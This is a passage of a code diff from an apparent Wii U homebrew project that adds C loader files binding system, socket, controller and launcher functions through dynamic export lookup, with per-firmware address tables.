OS_FIND_EXPORT(coreinit_handle, MEMFreeToExpHeap);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Special non library functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
if(OS_FIRMWARE == 532 || OS_FIRMWARE == 540)
|
||||
{
|
||||
EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100FFA4);
|
||||
EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100FE90);
|
||||
EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010007EC);
|
||||
EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF18558);
|
||||
}
|
||||
else if(OS_FIRMWARE == 500 || OS_FIRMWARE == 510)
|
||||
{
|
||||
EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100FBC4);
|
||||
EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100FAB0);
|
||||
EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010007EC);
|
||||
EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF18534);
|
||||
}
|
||||
else if(OS_FIRMWARE == 550)
|
||||
{
|
||||
EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x01010180);
|
||||
EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0101006C);
|
||||
EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x0100080C);
|
||||
EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF184E4);
|
||||
}
|
||||
else
|
||||
{
|
||||
OSFatal("Missing all OS specific addresses.");
|
||||
}
|
||||
}
|
||||
|
144
src/dynamic_libs/os_functions.h
Normal file
144
src/dynamic_libs/os_functions.h
Normal file
@ -0,0 +1,144 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#ifndef __OS_FUNCTIONS_H_
|
||||
#define __OS_FUNCTIONS_H_
|
||||
|
||||
#include <gctypes.h>
|
||||
#include "common/os_defs.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define BUS_SPEED 248625000
|
||||
#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4))
|
||||
#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000)
|
||||
#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000)
|
||||
|
||||
#define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs))
|
||||
#define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs))
|
||||
|
||||
#define FLUSH_DATA_BLOCK(addr) asm volatile("dcbf 0, %0; sync" : : "r"(((addr) & ~31)))
|
||||
#define INVAL_DATA_BLOCK(addr) asm volatile("dcbi 0, %0; sync" : : "r"(((addr) & ~31)))
|
||||
|
||||
#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__) __attribute__((section(".data"))) = 0;
|
||||
#define EXPORT_VAR(type, var) type var __attribute__((section(".data")));
|
||||
|
||||
|
||||
#define EXPORT_FUNC_WRITE(func, val) *(u32*)(((u32)&func) + 0) = (u32)val
|
||||
|
||||
#define OS_FIND_EXPORT(handle, func) funcPointer = 0; \
|
||||
OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \
|
||||
if(!funcPointer) \
|
||||
OSFatal("Function " # func " is NULL"); \
|
||||
EXPORT_FUNC_WRITE(func, funcPointer);
|
||||
|
||||
#define OS_FIND_EXPORT_EX(handle, func, func_p) \
|
||||
funcPointer = 0; \
|
||||
OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \
|
||||
if(!funcPointer) \
|
||||
OSFatal("Function " # func " is NULL"); \
|
||||
EXPORT_FUNC_WRITE(func_p, funcPointer);
|
||||
|
||||
#define OS_MUTEX_SIZE 44
|
||||
|
||||
/* Handle for coreinit */
|
||||
extern unsigned int coreinit_handle;
|
||||
void InitOSFunctionPointers(void);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Lib handle functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
extern int (* OSDynLoad_Acquire)(const char* rpl, u32 *handle);
|
||||
extern int (* OSDynLoad_FindExport)(u32 handle, int isdata, const char *symbol, void *address);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Thread functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
extern int (* OSCreateThread)(void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr);
|
||||
extern int (* OSResumeThread)(void *thread);
|
||||
extern int (* OSSuspendThread)(void *thread);
|
||||
extern int (* OSIsThreadTerminated)(void *thread);
|
||||
extern int (* OSIsThreadSuspended)(void *thread);
|
||||
extern int (* OSJoinThread)(void * thread, int * ret_val);
|
||||
extern int (* OSSetThreadPriority)(void * thread, int priority);
|
||||
extern void (* OSDetachThread)(void * thread);
|
||||
extern void (* OSSleepTicks)(u64 ticks);
|
||||
extern u64 (* OSGetTick)(void);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Mutex functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
extern void (* OSInitMutex)(void* mutex);
|
||||
extern void (* OSLockMutex)(void* mutex);
|
||||
extern void (* OSUnlockMutex)(void* mutex);
|
||||
extern int (* OSTryLockMutex)(void* mutex);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! System functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
extern u64 (* OSGetTitleID)(void);
|
||||
extern void (* __Exit)(void);
|
||||
extern void (* OSFatal)(const char* msg);
|
||||
extern void (* DCFlushRange)(const void *addr, u32 length);
|
||||
extern void (* ICInvalidateRange)(const void *addr, u32 length);
|
||||
extern void* (* OSEffectiveToPhysical)(const void*);
|
||||
extern int (* __os_snprintf)(char* s, int n, const char * format, ...);
|
||||
|
||||
extern void (*OSScreenInit)(void);
|
||||
extern unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
|
||||
extern int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
|
||||
extern int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
|
||||
extern int (*OSScreenFlipBuffersEx)(unsigned int bufferNum);
|
||||
extern int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer);
|
||||
extern int (*OSScreenEnableEx)(unsigned int bufferNum, int enable);
|
||||
|
||||
typedef unsigned char (*exception_callback)(void * interruptedContext);
|
||||
extern void (* OSSetExceptionCallback)(u8 exceptionType, exception_callback newCallback);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! MCP functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
extern int (* MCP_Open)(void);
|
||||
extern int (* MCP_Close)(int handle);
|
||||
extern int (* MCP_GetOwnTitleInfo)(int handle, void * data);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! LOADER functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
extern int (* LiWaitIopComplete)(int unknown_syscall_arg_r3, int * remaining_bytes);
|
||||
extern int (* LiWaitIopCompleteWithInterrupts)(int unknown_syscall_arg_r3, int * remaining_bytes);
|
||||
extern void (* addr_LiWaitOneChunk)(void);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Kernel function addresses
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
extern void (* addr_PrepareTitle_hook)(void);
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __OS_FUNCTIONS_H_
|
50
src/dynamic_libs/padscore_functions.c
Normal file
50
src/dynamic_libs/padscore_functions.c
Normal file
@ -0,0 +1,50 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#include "os_functions.h"
|
||||
#include "padscore_functions.h"
|
||||
|
||||
EXPORT_DECL(void, KPADInit, void);
|
||||
EXPORT_DECL(s32, WPADProbe, s32 chan, u32 * pad_type);
|
||||
EXPORT_DECL(s32, WPADSetDataFormat, s32 chan, s32 format);
|
||||
EXPORT_DECL(void, WPADEnableURCC, s32 enable);
|
||||
EXPORT_DECL(void, WPADRead, s32 chan, void * data);
|
||||
EXPORT_DECL(s32, KPADRead, s32 chan, void * data, u32 size);
|
||||
|
||||
void InitPadScoreFunctionPointers(void)
|
||||
{
|
||||
unsigned int *funcPointer = 0;
|
||||
unsigned int padscore_handle;
|
||||
OSDynLoad_Acquire("padscore.rpl", &padscore_handle);
|
||||
|
||||
OS_FIND_EXPORT(padscore_handle, KPADInit);
|
||||
OS_FIND_EXPORT(padscore_handle, WPADProbe);
|
||||
OS_FIND_EXPORT(padscore_handle, WPADSetDataFormat);
|
||||
OS_FIND_EXPORT(padscore_handle, WPADEnableURCC);
|
||||
OS_FIND_EXPORT(padscore_handle, WPADRead);
|
||||
OS_FIND_EXPORT(padscore_handle, KPADRead);
|
||||
|
||||
KPADInit();
|
||||
WPADEnableURCC(1);
|
||||
}
|
||||
|
122
src/dynamic_libs/padscore_functions.h
Normal file
122
src/dynamic_libs/padscore_functions.h
Normal file
@ -0,0 +1,122 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#ifndef __PAD_SCORE_FUNCTIONS_H_
|
||||
#define __PAD_SCORE_FUNCTIONS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <gctypes.h>
|
||||
|
||||
#define WPAD_BUTTON_LEFT 0x0001
|
||||
#define WPAD_BUTTON_RIGHT 0x0002
|
||||
#define WPAD_BUTTON_DOWN 0x0004
|
||||
#define WPAD_BUTTON_UP 0x0008
|
||||
#define WPAD_BUTTON_PLUS 0x0010
|
||||
#define WPAD_BUTTON_2 0x0100
|
||||
#define WPAD_BUTTON_1 0x0200
|
||||
#define WPAD_BUTTON_B 0x0400
|
||||
#define WPAD_BUTTON_A 0x0800
|
||||
#define WPAD_BUTTON_MINUS 0x1000
|
||||
#define WPAD_BUTTON_Z 0x2000
|
||||
#define WPAD_BUTTON_C 0x4000
|
||||
#define WPAD_BUTTON_HOME 0x8000
|
||||
|
||||
#define WPAD_CLASSIC_BUTTON_UP 0x0001
|
||||
#define WPAD_CLASSIC_BUTTON_LEFT 0x0002
|
||||
#define WPAD_CLASSIC_BUTTON_ZR 0x0004
|
||||
#define WPAD_CLASSIC_BUTTON_X 0x0008
|
||||
#define WPAD_CLASSIC_BUTTON_A 0x0010
|
||||
#define WPAD_CLASSIC_BUTTON_Y 0x0020
|
||||
#define WPAD_CLASSIC_BUTTON_B 0x0040
|
||||
#define WPAD_CLASSIC_BUTTON_ZL 0x0080
|
||||
#define WPAD_CLASSIC_BUTTON_R 0x0200
|
||||
#define WPAD_CLASSIC_BUTTON_PLUS 0x0400
|
||||
#define WPAD_CLASSIC_BUTTON_HOME 0x0800
|
||||
#define WPAD_CLASSIC_BUTTON_MINUS 0x1000
|
||||
#define WPAD_CLASSIC_BUTTON_L 0x2000
|
||||
#define WPAD_CLASSIC_BUTTON_DOWN 0x4000
|
||||
#define WPAD_CLASSIC_BUTTON_RIGHT 0x8000
|
||||
|
||||
void InitPadScoreFunctionPointers(void);
|
||||
|
||||
|
||||
typedef struct _KPADData
|
||||
{
|
||||
u32 btns_h;
|
||||
u32 btns_d;
|
||||
u32 btns_r;
|
||||
u32 unused_1[5];
|
||||
f32 pos_x;
|
||||
f32 pos_y;
|
||||
u32 unused_2[3];
|
||||
f32 angle_x;
|
||||
f32 angle_y;
|
||||
u32 unused_3[8];
|
||||
u8 device_type;
|
||||
u8 wpad_error;
|
||||
u8 pos_valid;
|
||||
u8 unused_4[1];
|
||||
|
||||
union
|
||||
{
|
||||
struct
|
||||
{
|
||||
f32 stick_x;
|
||||
f32 stick_y;
|
||||
} nunchuck;
|
||||
|
||||
struct
|
||||
{
|
||||
u32 btns_h;
|
||||
u32 btns_d;
|
||||
u32 btns_r;
|
||||
f32 lstick_x;
|
||||
f32 lstick_y;
|
||||
f32 rstick_x;
|
||||
f32 rstick_y;
|
||||
f32 ltrigger;
|
||||
f32 rtrigger;
|
||||
} classic;
|
||||
|
||||
u32 unused_6[20];
|
||||
};
|
||||
u32 unused_7[16];
|
||||
} KPADData;
|
||||
|
||||
typedef void (* wpad_connect_callback_t)(s32 chan, s32 status);
|
||||
|
||||
extern void (* KPADInit)(void);
|
||||
extern s32 (* WPADProbe)(s32 chan, u32 * pad_type);
|
||||
extern s32 (* WPADSetDataFormat)(s32 chan, s32 format);
|
||||
extern void (* WPADEnableURCC)(s32 enable);
|
||||
extern void (* WPADRead)(s32 chan, void * data);
|
||||
extern s32 (* KPADRead)(s32 chan, void * data, u32 size);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __PAD_SCORE_FUNCTIONS_H_
|
82
src/dynamic_libs/socket_functions.c
Normal file
82
src/dynamic_libs/socket_functions.c
Normal file
@ -0,0 +1,82 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#include "os_functions.h"
|
||||
#include "socket_functions.h"
|
||||
|
||||
u32 hostIpAddress = 0;
|
||||
|
||||
EXPORT_DECL(void, socket_lib_init, void);
|
||||
EXPORT_DECL(int, socket, int domain, int type, int protocol);
|
||||
EXPORT_DECL(int, socketclose, int s);
|
||||
EXPORT_DECL(int, connect, int s, void *addr, int addrlen);
|
||||
EXPORT_DECL(int, bind, s32 s,struct sockaddr *name,s32 namelen);
|
||||
EXPORT_DECL(int, listen, s32 s,u32 backlog);
|
||||
EXPORT_DECL(int, accept, s32 s,struct sockaddr *addr,s32 *addrlen);
|
||||
EXPORT_DECL(int, send, int s, const void *buffer, int size, int flags);
|
||||
EXPORT_DECL(int, recv, int s, void *buffer, int size, int flags);
|
||||
EXPORT_DECL(int, sendto, int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len);
|
||||
EXPORT_DECL(int, setsockopt, int s, int level, int optname, void *optval, int optlen);
|
||||
EXPORT_DECL(char *, inet_ntoa, struct in_addr in);
|
||||
EXPORT_DECL(int, inet_aton, const char *cp, struct in_addr *inp);
|
||||
|
||||
void InitSocketFunctionPointers(void)
|
||||
{
|
||||
unsigned int nsysnet_handle;
|
||||
unsigned int *funcPointer = 0;
|
||||
OSDynLoad_Acquire("nsysnet.rpl", &nsysnet_handle);
|
||||
|
||||
unsigned int nn_ac_handle;
|
||||
int(*ACInitialize)();
|
||||
int(*ACGetStartupId) (unsigned int *id);
|
||||
int(*ACConnectWithConfigId) (unsigned int id);
|
||||
int(*ACGetAssignedAddress) (u32 * ip);
|
||||
OSDynLoad_Acquire("nn_ac.rpl", &nn_ac_handle);
|
||||
OSDynLoad_FindExport(nn_ac_handle, 0, "ACInitialize", &ACInitialize);
|
||||
OSDynLoad_FindExport(nn_ac_handle, 0, "ACGetStartupId", &ACGetStartupId);
|
||||
OSDynLoad_FindExport(nn_ac_handle, 0, "ACConnectWithConfigId",&ACConnectWithConfigId);
|
||||
OSDynLoad_FindExport(nn_ac_handle, 0, "ACGetAssignedAddress",&ACGetAssignedAddress);
|
||||
|
||||
OS_FIND_EXPORT(nsysnet_handle, socket_lib_init);
|
||||
OS_FIND_EXPORT(nsysnet_handle, socket);
|
||||
OS_FIND_EXPORT(nsysnet_handle, socketclose);
|
||||
OS_FIND_EXPORT(nsysnet_handle, connect);
|
||||
OS_FIND_EXPORT(nsysnet_handle, bind);
|
||||
OS_FIND_EXPORT(nsysnet_handle, listen);
|
||||
OS_FIND_EXPORT(nsysnet_handle, accept);
|
||||
OS_FIND_EXPORT(nsysnet_handle, send);
|
||||
OS_FIND_EXPORT(nsysnet_handle, recv);
|
||||
OS_FIND_EXPORT(nsysnet_handle, sendto);
|
||||
OS_FIND_EXPORT(nsysnet_handle, setsockopt);
|
||||
OS_FIND_EXPORT(nsysnet_handle, inet_ntoa);
|
||||
OS_FIND_EXPORT(nsysnet_handle, inet_aton);
|
||||
|
||||
unsigned int nn_startupid;
|
||||
ACInitialize();
|
||||
ACGetStartupId(&nn_startupid);
|
||||
ACConnectWithConfigId(nn_startupid);
|
||||
ACGetAssignedAddress(&hostIpAddress);
|
||||
|
||||
socket_lib_init();
|
||||
}
|
||||
|
95
src/dynamic_libs/socket_functions.h
Normal file
95
src/dynamic_libs/socket_functions.h
Normal file
@ -0,0 +1,95 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#ifndef __SOCKET_FUNCTIONS_H_
|
||||
#define __SOCKET_FUNCTIONS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <gctypes.h>
|
||||
|
||||
#define INADDR_ANY 0
|
||||
|
||||
#define AF_INET 2
|
||||
|
||||
#define SOCK_STREAM 1
|
||||
#define SOCK_DGRAM 2
|
||||
|
||||
#define IPPROTO_IP 0
|
||||
#define IPPROTO_TCP 6
|
||||
#define IPPROTO_UDP 17
|
||||
|
||||
#define TCP_NODELAY 0x2004
|
||||
|
||||
#define SOL_SOCKET -1
|
||||
#define SO_REUSEADDR 0x0004
|
||||
#define SO_NONBLOCK 0x1016
|
||||
#define SO_MYADDR 0x1013
|
||||
|
||||
#define htonl(x) x
|
||||
#define htons(x) x
|
||||
#define ntohl(x) x
|
||||
#define ntohs(x) x
|
||||
|
||||
|
||||
struct in_addr {
|
||||
unsigned int s_addr;
|
||||
};
|
||||
struct sockaddr_in {
|
||||
short sin_family;
|
||||
unsigned short sin_port;
|
||||
struct in_addr sin_addr;
|
||||
char sin_zero[8];
|
||||
};
|
||||
|
||||
struct sockaddr
|
||||
{
|
||||
unsigned short sa_family;
|
||||
char sa_data[14];
|
||||
};
|
||||
|
||||
|
||||
void InitSocketFunctionPointers(void);
|
||||
|
||||
extern void (*socket_lib_init)(void);
|
||||
extern int (*socket)(int domain, int type, int protocol);
|
||||
extern int (*socketclose)(int s);
|
||||
extern int (*connect)(int s, void *addr, int addrlen);
|
||||
extern int (*bind)(s32 s,struct sockaddr *name,s32 namelen);
|
||||
extern int (*listen)(s32 s,u32 backlog);
|
||||
extern int (*accept)(s32 s,struct sockaddr *addr,s32 *addrlen);
|
||||
extern int (*send)(int s, const void *buffer, int size, int flags);
|
||||
extern int (*recv)(int s, void *buffer, int size, int flags);
|
||||
extern int (*sendto)(int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len);
|
||||
extern int (*setsockopt)(int s, int level, int optname, void *optval, int optlen);
|
||||
|
||||
extern char * (*inet_ntoa)(struct in_addr in);
|
||||
extern int (*inet_aton)(const char *cp, struct in_addr *inp);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __SOCKET_FUNCTIONS_H_
|
42
src/dynamic_libs/sys_functions.c
Normal file
42
src/dynamic_libs/sys_functions.c
Normal file
@ -0,0 +1,42 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#include "os_functions.h"
|
||||
|
||||
EXPORT_DECL(void, _SYSLaunchTitleByPathFromLauncher, const char* path, int len, int zero);
|
||||
EXPORT_DECL(int, SYSRelaunchTitle, int argc, char* argv);
|
||||
EXPORT_DECL(int, SYSLaunchMenu, void);
|
||||
EXPORT_DECL(int, SYSCheckTitleExists, u64 titleId);
|
||||
|
||||
void InitSysFunctionPointers(void)
|
||||
{
|
||||
unsigned int *funcPointer = 0;
|
||||
unsigned int sysapp_handle;
|
||||
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
|
||||
|
||||
OS_FIND_EXPORT(sysapp_handle, _SYSLaunchTitleByPathFromLauncher);
|
||||
OS_FIND_EXPORT(sysapp_handle, SYSRelaunchTitle);
|
||||
OS_FIND_EXPORT(sysapp_handle, SYSLaunchMenu);
|
||||
OS_FIND_EXPORT(sysapp_handle, SYSCheckTitleExists);
|
||||
}
|
||||
|
43
src/dynamic_libs/sys_functions.h
Normal file
43
src/dynamic_libs/sys_functions.h
Normal file
@ -0,0 +1,43 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#ifndef __SYS_FUNCTIONS_H_
|
||||
#define __SYS_FUNCTIONS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
void InitSysFunctionPointers(void);
|
||||
|
||||
extern void(*_SYSLaunchTitleByPathFromLauncher)(const char* path, int len, int zero);
|
||||
extern int (* SYSRelaunchTitle)(int argc, char* argv);
|
||||
extern int (* SYSLaunchMenu)(void);
|
||||
extern int (* SYSCheckTitleExists)(u64 titleId);
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __SYS_FUNCTIONS_H_
|
39
src/dynamic_libs/vpad_functions.c
Normal file
39
src/dynamic_libs/vpad_functions.c
Normal file
@ -0,0 +1,39 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#include "os_functions.h"
|
||||
#include "vpad_functions.h"
|
||||
|
||||
EXPORT_DECL(void, VPADInit, void);
|
||||
EXPORT_DECL(void, VPADRead, int chan, VPADData *buffer, u32 buffer_size, s32 *error);
|
||||
|
||||
void InitVPadFunctionPointers(void)
|
||||
{
|
||||
unsigned int *funcPointer = 0;
|
||||
unsigned int vpad_handle;
|
||||
OSDynLoad_Acquire("vpad.rpl", &vpad_handle);
|
||||
|
||||
OS_FIND_EXPORT(vpad_handle, VPADInit);
|
||||
OS_FIND_EXPORT(vpad_handle, VPADRead);
|
||||
}
|
||||
|
102
src/dynamic_libs/vpad_functions.h
Normal file
102
src/dynamic_libs/vpad_functions.h
Normal file
@ -0,0 +1,102 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#ifndef __VPAD_FUNCTIONS_H_
|
||||
#define __VPAD_FUNCTIONS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <gctypes.h>
|
||||
|
||||
#define VPAD_BUTTON_A 0x8000
|
||||
#define VPAD_BUTTON_B 0x4000
|
||||
#define VPAD_BUTTON_X 0x2000
|
||||
#define VPAD_BUTTON_Y 0x1000
|
||||
#define VPAD_BUTTON_LEFT 0x0800
